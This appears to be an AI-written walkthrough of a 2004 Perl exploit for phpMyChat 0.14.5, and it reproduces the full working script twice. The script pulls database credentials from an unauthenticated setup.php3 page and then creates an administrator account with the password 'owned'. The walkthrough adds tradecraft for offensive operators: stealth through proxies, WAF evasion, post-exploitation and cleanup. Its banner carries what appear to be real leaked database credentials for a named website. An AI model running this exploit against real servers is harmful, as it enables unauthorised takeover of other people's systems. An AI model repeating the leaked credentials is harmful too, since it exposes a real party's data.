Exploiting phpMyChat 0.14.5: A Deep Dive into Remote File Permission Vulnerabilities

Exploiting phpMyChat 0.14.5: A Deep Dive into Remote File Permission Vulnerabilities
What this paper is
This paper details a remote exploit for phpMyChat version 0.14.5. The vulnerability stems from improper file permissions within the application, allowing an attacker to remotely access and manipulate sensitive configuration data, specifically database credentials. The exploit then leverages these credentials to create a new administrator account with a hardcoded password.
Simple technical breakdown
The core of the exploit relies on a flaw in how phpMyChat handles its setup.php3 script.
- Information Gathering: The exploit first sends a crafted HTTP GET request to
setup.php3?next=1. This request is designed to trigger the script to reveal database connection details (host, name, user, password) that are stored in configuration variables. - Credential Extraction: The script then parses the response from the server, looking for specific patterns that indicate the database configuration values. It extracts these values and stores them.
- Configuration Update: Using the extracted database credentials, the exploit constructs a second HTTP GET request. This request targets
setup.php3?next=2and includes the previously extracted database details, along with parameters to set up a new administrator account. - Admin Account Creation: A third HTTP GET request is sent to
setup.php3?next=2again, but this time it includes the extracted administrator login and a hardcoded password ("owned"). This action creates the new admin user in the phpMyChat database.
The vulnerability is essentially that the setup.php3 script, when accessed with specific parameters, leaks sensitive information and allows for configuration changes without proper authentication or validation.
Complete code and payload walkthrough
The provided Perl script pmc.pl orchestrates the exploit. Let's break down its components:
####################################################################
#
# _____ _
# | ___| | _____ ___
# | |_ | |/ _ \ \ /\ / /
# | _| | | (_) \ V V /
# |_| |_|\___/ \_/\_/
# Security Group.
#
# * phpMyChat remote sploit *
# by sysbug
#
# C:\Perl\bin>perl pmc.pl www.kublooddrive.com /chat
# /* Mysql dump :
# * C_DB_HOST : localhost
# * C_DB_NAME : jhawk_pchat1
# * C_DB_USER : jhawk_pchat1
# * C_DB_PASS : vvejTjeLgB
# *
# * Adding Admin ....
# * login:jhawk
# * pwd:owned
# */
# C:\Perl\bin>
#
# Credits: all my friends!
use IO::Socket; # Imports the module for network socket operations.
if(@ARGV < 2){ # Checks if the number of command-line arguments is less than 2.
usage(); # If not enough arguments, calls the usage() subroutine.
}
main(); # Calls the main execution subroutine.
sub sock(){ # This subroutine establishes a TCP socket connection and sends an HTTP request.
$ock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>80,Proto=>'tcp',Timeout=>10)|| die " * s0ck null -\n"; # Creates a new TCP socket to the target host on port 80. If it fails, it prints an error and exits.
print $ock "$path\r\n"; # Sends the HTTP request path (e.g., GET /chat/setup.php3 HTTP/1.1).
print $ock "Accept: */*\r\n"; # Standard HTTP header.
print $ock "Accept-Language: pt\r\n"; # Standard HTTP header, indicating preferred language (Portuguese in this case).
print $ock "Accept-Encoding: gzip, deflate\r\n"; # Standard HTTP header.
print $ock "User-Agent: l33t br0ws3r\r\n"; # Custom User-Agent string, often used to appear as a legitimate browser or a specific tool.
print $ock "Host: $host\r\n"; # Specifies the target host.
print $ock "Connection: Keep-Alive\r\n\r\n\r\n"; # Keeps the connection open for potential subsequent requests.
$path = ''; # Clears the $path variable after sending the request.
}
sub main(){ # The main logic of the exploit.
print "/*\n"; # Prints header information.
print " * sploit remote phpMychat\n";
print " * by sysbug\n";
print " *\n";
$host = $ARGV[0]; # Assigns the first command-line argument (target host) to $host.
$folder = $ARGV[1]; # Assigns the second command-line argument (application folder) to $folder.
# --- Stage 1: Get Database Credentials ---
$path = "GET $folder/chat/setup.php3?next=1 HTTP/1.1"; # Constructs the first HTTP request to retrieve DB credentials.
sock(); # Sends the request using the sock() subroutine.
$result =1; # Flag to indicate if this is the first time printing DB dump info.
while($recv = <$ock>){ # Reads the response from the socket line by line.
if($recv =~ /(C_DB_HOST|C_DB_NAME|C_DB_USER|C_DB_PASS)(.*)(VALUE=)(")(.*)(">)/){ # Regex to capture database configuration values.
# The regex captures:
# $1: The configuration variable name (e.g., C_DB_HOST)
# $2: Any characters between the variable name and VALUE=
# $3: The literal string "VALUE="
# $4: The opening double quote
# $5: The actual value (e.g., localhost, jhawk_pchat1)
# $6: The closing double quote
$c++; # Increments a counter for each captured DB parameter.
print " * Mysql dump :\n" if($result); # Prints the "Mysql dump :" header only once.
print " * $1 : $5\n"; # Prints the captured configuration variable and its value.
$mysql[$c] = $5; # Stores the captured value in an array named $mysql, indexed by $c.
$result = ''; # Clears the flag so the header isn't printed again.
}
else{ # If a line doesn't match the expected pattern.
print " * sploit failed! \n"; # Prints a failure message.
print " *\\ \n"; # Prints a closing marker.
exit; # Exits the script.
}
}
close($ock); # Closes the socket connection.
# --- Stage 2: Submit DB Credentials and attempt to set Admin ---
# The script constructs a long URL with all the database parameters and other configuration settings.
# It also includes parameters that seem to be related to setting up the admin user, but the actual admin login/password are not yet submitted.
$path = "GET $folder/chat/setup.php3?next=2&Form_Send=2&C_DB_TYPE=mysql&C_DB_HOST=$mysql[1]&C_DB_NAME=$mysql[2]&C_DB_USER=$mysql[3]&C_DB_PASS=$mysql[4]&C_MSG_TBL=messages&C_REG_TBL=reg_users&C_USR_TBL=users&C_BAN_TBL=ban_users&C_MSG_DEL=96&C_USR_DEL=4&C_REG_DEL=0&C_PUB_CHAT_ROOMS=Blood+Talk&C_PRIV_CHAT_ROOMS=&C_MULTI_LANG=1&C_LANGUAGE=english&C_REQUIRE_REGISTER=1&C_SHOW_ADMIN=1&C_SHOW_DEL_PROF=1&C_VERSION=1&C_BANISH=1&C_NO_SWEAR=1&C_SAVE=*&C_USE_SMILIES=1&C_HTML_TAGS_KEEP=simple&C_HTML_TAGS_SHOW=1&C_TMZ_OFFSET=0&C_MSG_ORDER=0&C_MSG_NB=20&C_MSG_REFRESH=10&C_SHOW_TIMESTAMP=1&C_NOTIFY=1&C_WELCOME=1 HTTP/1.1";
sock(); # Sends this second request.
while($recv = <$ock>){ # Reads the response from the second request.
if($recv =~ /(ADM_LOG)(.*)(VALUE=)(")(.*)(">)/){ # Regex to capture the administrator login name.
# This regex is similar to the DB credential capture, but looks for ADM_LOG.
# $1: ADM_LOG
# $5: The captured admin login name.
$c++; # Increments counter.
$mysql[$c] = $5; # Stores the captured admin login name in $mysql[5].
}
}
close($ock); # Closes the socket.
# --- Stage 3: Submit Admin Credentials ---
$pwd="owned"; # Hardcoded password for the new administrator.
# Constructs the third HTTP request. This time, it includes the captured DB credentials,
# the captured ADM_LOG, and the hardcoded ADM_PASS.
# Form_Send=3 and Exist_Adm=1 suggest it's attempting to finalize admin creation.
$path = "GET $folder/chat/setup.php3?next=2&C_DB_TYPE=mysql&C_DB_HOST=$mysql[1]&C_DB_NAME=$mysql[2]&C_DB_USER=$mysql[3]&C_DB_PASS=$mysql[4]&C_MSG_TBL=messages&C_REG_TBL=reg_users&C_USR_TBL=users&C_BAN_TBL=ban_users&C_MSG_DEL=96&C_USR_DEL=4&C_REG_DEL=0&C_PUB_CHAT_ROOMS=Blood+Talk&C_PRIV_CHAT_ROOMS=&C_MULTI_LANG=1&C_LANGUAGE=english&C_REQUIRE_REGISTER=1&C_SHOW_ADMIN=1&C_SHOW_DEL_PROF=1&C_VERSION=1&C_BANISH=1&C_NO_SWEAR=1&C_SAVE=*&C_USE_SMILIES=1&C_HTML_TAGS_KEEP=simple&C_HTML_TAGS_SHOW=1&C_TMZ_OFFSET=0&C_MSG_ORDER=0&C_MSG_NB=20&C_MSG_REFRESH=10&C_SHOW_TIMESTAMP=1&C_NOTIFY=1&C_WELCOME=1&ADM_LOG=$mysql[5]&ADM_PASS=$pwd&Form_Send=3&Exist_Adm=1 HTTP/1.1";
sock(); # Sends the final request.
if($mysql[5]){ # Checks if an administrator login was successfully captured in the previous step.
print " *\n * Adding Admin ....\n * login:$mysql[5]\n * pwd:$pwd \n *\\ \n"; # Prints success message with login and password.
}
else{ # If no admin login was captured.
print " * sploit failed! \n"; # Prints a failure message.
print " *\\ \n"; # Prints a closing marker.
}
close($ock); # Closes the socket.
}
sub usage(){ # Displays usage instructions if the script is run with incorrect arguments.
print "/*\n";
print " * sploit remote phpMychat\n";
print " * by sysbug\n";
print " * usage: perl $0 xpl.pl <host>\n"; # Shows how to run the script with host.
print " * example: perl $0 xpl.pl www.site.com\n";
print " * perl $0 xpl.pl www.site.com /chat\n"; # Shows example with host and folder.
print " */\n";
exit; # Exits the script.
}
# milw0rm.com [2004-12-22] # Source attribution.Code Fragment/Block -> Practical Purpose Mapping:
use IO::Socket;-> Enables network communication for sending HTTP requests.if(@ARGV < 2){ usage(); }-> Input validation: ensures the script receives at least a target host and potentially an application path.main();-> Entry point for the exploit logic.sub sock()-> Handles socket creation, connection, and sending HTTP request headers.IO::Socket::INET->new(...)-> Establishes the TCP connection to the web server.print $ock "$path\r\n";-> Sends the actual HTTP request line (e.g.,GET /path HTTP/1.1).print $ock "Host: $host\r\n";-> Crucial for virtual hosting, tells the server which site to serve.print $ock "Connection: Keep-Alive\r\n\r\n\r\n";-> Prepares the socket for receiving the response.
sub main()-> Orchestrates the exploit steps.$host = $ARGV[0]; $folder = $ARGV[1];-> Parses command-line arguments for target details.$path = "GET $folder/chat/setup.php3?next=1 HTTP/1.1"; sock();-> Stage 1: Sends the initial request to leak DB credentials.if($recv =~ /(C_DB_HOST|C_DB_NAME|C_DB_USER|C_DB_PASS)(.*)(VALUE=)(")(.*)(">)/)-> Stage 1: Regex to extract database configuration values from the response.$mysql[$c] = $5;-> Stores extracted values (host, name, user, password) into the$mysqlarray.
$path = "GET $folder/chat/setup.php3?next=2&...&C_DB_HOST=$mysql[1]&... HTTP/1.1"; sock();-> Stage 2: Sends a request with extracted DB credentials to further configure the app and potentially reveal admin login.if($recv =~ /(ADM_LOG)(.*)(VALUE=)(")(.*)(">)/)-> Stage 2: Regex to extract the administrator login name.$mysql[5] = $5;-> Stores the extracted admin login name.
$pwd="owned"; $path = "GET $folder/chat/setup.php3?next=2&...&ADM_LOG=$mysql[5]&ADM_PASS=$pwd&Form_Send=3&Exist_Adm=1 HTTP/1.1"; sock();-> Stage 3: Sends the final request to create the admin account with the hardcoded password.if($mysql[5]){ ... } else { ... }-> Checks if an admin login was found, indicating success or failure.
sub usage()-> Prints help information and exits if arguments are missing.
Shellcode/Payload Segments:
There is no explicit shellcode in the traditional sense (e.g., raw machine code bytes). The "payload" here is the series of crafted HTTP requests. Each request is a stage of the exploit:
- Stage 1 Request:
GET /chat/setup.php3?next=1 HTTP/1.1- Purpose: To trigger
setup.php3to output its current configuration, which includes database credentials, in a predictable format that the script can parse.
- Purpose: To trigger
- Stage 2 Request:
GET /chat/setup.php3?next=2&Form_Send=2&C_DB_TYPE=mysql&C_DB_HOST=...&C_DB_NAME=...&C_DB_USER=...&C_DB_PASS=...&... HTTP/1.1- Purpose: To submit the extracted database credentials back to the application, likely to save them and proceed to the next setup step. It also attempts to capture the default administrator login name if it exists.
- Stage 3 Request:
GET /chat/setup.php3?next=2&C_DB_TYPE=mysql&...&ADM_LOG=...&ADM_PASS=owned&Form_Send=3&Exist_Adm=1 HTTP/1.1- Purpose: To finalize the administrator account creation by providing the captured login name and the hardcoded password "owned".
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server on port 80 (HTTP). No prior authenticated access to the web application is required.
- Lab Preconditions:
- A vulnerable phpMyChat 0.14.5 instance.
- A web server (e.g., Apache, IIS) serving the application.
- A MySQL database configured for the application.
- The
setup.php3script must be accessible and not properly secured against this type of request.
- Tooling Assumptions:
- Perl interpreter installed on the attacker's machine.
- The
IO::SocketPerl module (standard with Perl). - Basic understanding of HTTP requests and responses.
- Execution Pitfalls:
- Incorrect Application Path: If phpMyChat is not installed in the root of the web server or in a sub-directory named
/chat(as per the example), the$folderargument must be adjusted. The script uses/chatby default in the example, but theusagefunction suggests it can be provided. - Firewall/WAF Blocking: Network firewalls or Web Application Firewalls (WAFs) might block the specific HTTP request patterns or the sequence of requests.
- Application Version Mismatch: The exploit is specific to phpMyChat 0.14.5. Newer versions might have patched this vulnerability.
- Configuration Changes: If the
setup.php3script has been modified or if the application has been configured to not expose credentials in this manner, the exploit will fail. - Response Parsing Errors: If the web server's response format differs from what the regex expects (e.g., due to server-side errors, different HTML rendering, or compression), the extraction of credentials or admin login might fail.
- Rate Limiting: Aggressive requests might trigger rate limiting on the server.
- Incorrect Application Path: If phpMyChat is not installed in the root of the web server or in a sub-directory named
- Tradecraft Considerations:
- Reconnaissance: Before running the exploit, confirm the target is running phpMyChat and identify the correct path to the application. Tools like
nmapwith specific web application scripts, or manual browsing of the target site, can help. - Stealth: The exploit uses standard HTTP GET requests. However, the sequence and specific parameters might be logged. A WAF might detect the unusual parameters or the pattern of requests. Using a proxy or VPN can mask the origin IP.
- Post-Exploitation: Once an admin account is created, the operator can log into the phpMyChat interface. From there, they can potentially:
- Access chat logs.
- Manage users.
- Modify application settings.
- If the application has further vulnerabilities, pivot to other systems.
- Cleanup: The exploit itself doesn't leave persistent backdoors. However, the created admin account remains. If the goal is stealth, the operator might consider deleting the created admin account after gaining access and performing their objectives.
- Reconnaissance: Before running the exploit, confirm the target is running phpMyChat and identify the correct path to the application. Tools like
Where this was used and when
- Context: This exploit targets web applications, specifically chat applications installed on web servers. It would be used in scenarios where an attacker aims to gain administrative control over a phpMyChat instance.
- Timeframe: The exploit was published on December 22, 2004. Therefore, its practical use would have been in 2004 and the years immediately following, until phpMyChat versions were updated to patch this vulnerability. It represents a common type of vulnerability found in web applications of that era.
Defensive lessons for modern teams
- Secure Configuration Defaults: Applications should not expose sensitive configuration details like database credentials through unauthenticated endpoints, even if they are part of a setup process.
- Input Validation and Sanitization: All user-supplied input, including URL parameters, must be rigorously validated and sanitized to prevent injection attacks or unexpected behavior.
- Authentication and Authorization: Sensitive operations, such as configuration changes or user creation, must be protected by strong authentication and authorization mechanisms. Never rely on "next" parameters or sequential steps in a setup script to imply security.
- Regular Patching and Updates: Keeping web applications and their underlying frameworks updated is crucial. Vulnerabilities like this are often patched by vendors.
- Web Application Firewalls (WAFs): WAFs can help detect and block exploit attempts by identifying malicious patterns in HTTP requests. However, they are not a silver bullet and should be part of a layered security approach.
- Least Privilege: Ensure that the web server process itself runs with the minimum necessary privileges. While this exploit targets application logic, compromised applications can sometimes be leveraged to escalate privileges if the web server has excessive permissions.
- Secure Coding Practices: Developers must be trained in secure coding practices to avoid common vulnerabilities like improper file permissions, insecure direct object references, and injection flaws.
ASCII visual (if applicable)
This exploit involves a sequential interaction with a web server. A simple flow diagram can illustrate this:
+-----------------+ +-----------------+ +-----------------+
| Attacker's | | Target Web | | Target Database |
| Machine | | Server | | |
+-----------------+ +-----------------+ +-----------------+
| |
| 1. GET /setup.php3?next=1 |
|--------------------->|
| |
| <--------------------| Response with DB creds
| |
| 2. GET /setup.php3?next=2&DB_params... |
|--------------------->|
| |
| <--------------------| Response with ADM_LOG (if found)
| |
| 3. GET /setup.php3?next=2&DB_params...&ADM_LOG=...&ADM_PASS=owned |
|--------------------->|
| |
| <--------------------| Confirmation/Success Message
| |
| | (Writes admin user to DB)
| +-----------------+
| |
+----------------------------------------+Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/703
- Original Exploit Code: Provided in the prompt.
- Application: phpMyChat (version 0.14.5)
Original Exploit-DB Content (Verbatim)
####################################################################
#
# _____ _
# | ___| | _____ ___
# | |_ | |/ _ \ \ /\ / /
# | _| | | (_) \ V V /
# |_| |_|\___/ \_/\_/
# Security Group.
#
# * phpMyChat remote sploit *
# by sysbug
#
# C:\Perl\bin>perl pmc.pl www.kublooddrive.com /chat
# /* Mysql dump :
# * C_DB_HOST : localhost
# * C_DB_NAME : jhawk_pchat1
# * C_DB_USER : jhawk_pchat1
# * C_DB_PASS : vvejTjeLgB
# *
# * Adding Admin ....
# * login:jhawk
# * pwd:owned
# */
# C:\Perl\bin>
#
# Credits: all my friends!
use IO::Socket;
if(@ARGV < 2){
usage();
}
main();
sub sock(){
$ock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>80,Proto=>'tcp',Timeout=>10)|| die " * s0ck null -\n";
print $ock "$path\r\n";
print $ock "Accept: */*\r\n";
print $ock "Accept-Language: pt\r\n";
print $ock "Accept-Encoding: gzip, deflate\r\n";
print $ock "User-Agent: l33t br0ws3r\r\n";
print $ock "Host: $host\r\n";
print $ock "Connection: Keep-Alive\r\n\r\n\r\n";
$path = '';
}
sub main(){
print "/*\n";
print " * sploit remote phpMychat\n";
print " * by sysbug\n";
print " *\n";
$host = $ARGV[0];
$folder = $ARGV[1];
$path = "GET $folder/chat/setup.php3?next=1 HTTP/1.1";
sock();
$result =1;
while($recv = <$ock>){
if($recv =~ /(C_DB_PASS|C_DB_USER|C_DB_NAME|C_DB_HOST)(.*)(VALUE=)(")(.*)(">)/){
$c++;
print " * Mysql dump :\n" if($result);
print " * $1 : $5\n";
$mysql[$c] = $5;
$result = '';
}
else{
print " * sploit failed! \n";
print " *\\ \n";
exit;
}
}
close($ock);
$path = "GET $folder/chat/setup.php3?next=2&Form_Send=2&C_DB_TYPE=mysql&C_DB_HOST=$mysql[1]&C_DB_NAME=$mysql[2]&C_DB_USER=$mysql[3]&C_DB_PASS=$mysql[4]&C_MSG_TBL=messages&C_REG_TBL=reg_users&C_USR_TBL=users&C_BAN_TBL=ban_users&C_MSG_DEL=96&C_USR_DEL=4&C_REG_DEL=0&C_PUB_CHAT_ROOMS=Blood+Talk&C_PRIV_CHAT_ROOMS=&C_MULTI_LANG=1&C_LANGUAGE=english&C_REQUIRE_REGISTER=1&C_SHOW_ADMIN=1&C_SHOW_DEL_PROF=1&C_VERSION=1&C_BANISH=1&C_NO_SWEAR=1&C_SAVE=*&C_USE_SMILIES=1&C_HTML_TAGS_KEEP=simple&C_HTML_TAGS_SHOW=1&C_TMZ_OFFSET=0&C_MSG_ORDER=0&C_MSG_NB=20&C_MSG_REFRESH=10&C_SHOW_TIMESTAMP=1&C_NOTIFY=1&C_WELCOME=1 HTTP/1.1";
sock();
while($recv = <$ock>){
if($recv =~ /(ADM_LOG)(.*)(VALUE=)(")(.*)(">)/){
$c++;
$mysql[$c] = $5;
}
}
close($ock);
$pwd="owned";
$path = "GET $folder/chat/setup.php3?next=2&C_DB_TYPE=mysql&C_DB_HOST=$mysql[1]&C_DB_NAME=$mysql[2]&C_DB_USER=$mysql[3]&C_DB_PASS=$mysql[4]&C_MSG_TBL=messages&C_REG_TBL=reg_users&C_USR_TBL=users&C_BAN_TBL=ban_users&C_MSG_DEL=96&C_USR_DEL=4&C_REG_DEL=0&C_PUB_CHAT_ROOMS=Blood+Talk&C_PRIV_CHAT_ROOMS=&C_MULTI_LANG=1&C_LANGUAGE=english&C_REQUIRE_REGISTER=1&C_SHOW_ADMIN=1&C_SHOW_DEL_PROF=1&C_VERSION=1&C_BANISH=1&C_NO_SWEAR=1&C_SAVE=*&C_USE_SMILIES=1&C_HTML_TAGS_KEEP=simple&C_HTML_TAGS_SHOW=1&C_TMZ_OFFSET=0&C_MSG_ORDER=0&C_MSG_NB=20&C_MSG_REFRESH=10&C_SHOW_TIMESTAMP=1&C_NOTIFY=1&C_WELCOME=1&ADM_LOG=$mysql[5]&ADM_PASS=$pwd&Form_Send=3&Exist_Adm=1 HTTP/1.1";
sock();
if($mysql[5]){
print " *\n * Adding Admin ....\n * login:$mysql[5]\n * pwd:$pwd \n *\\ \n";
}
else{
print " * sploit failed! \n";
print " *\\ \n";
}
close($ock);
}
sub usage(){
print "/*\n";
print " * sploit remote phpMychat\n";
print " * by sysbug\n";
print " * usage: perl $0 xpl.pl <host>\n";
print " * example: perl $0 xpl.pl www.site.com\n";
print " * perl $0 xpl.pl www.site.com /chat\n";
print " */\n";
exit;
}
# milw0rm.com [2004-12-22]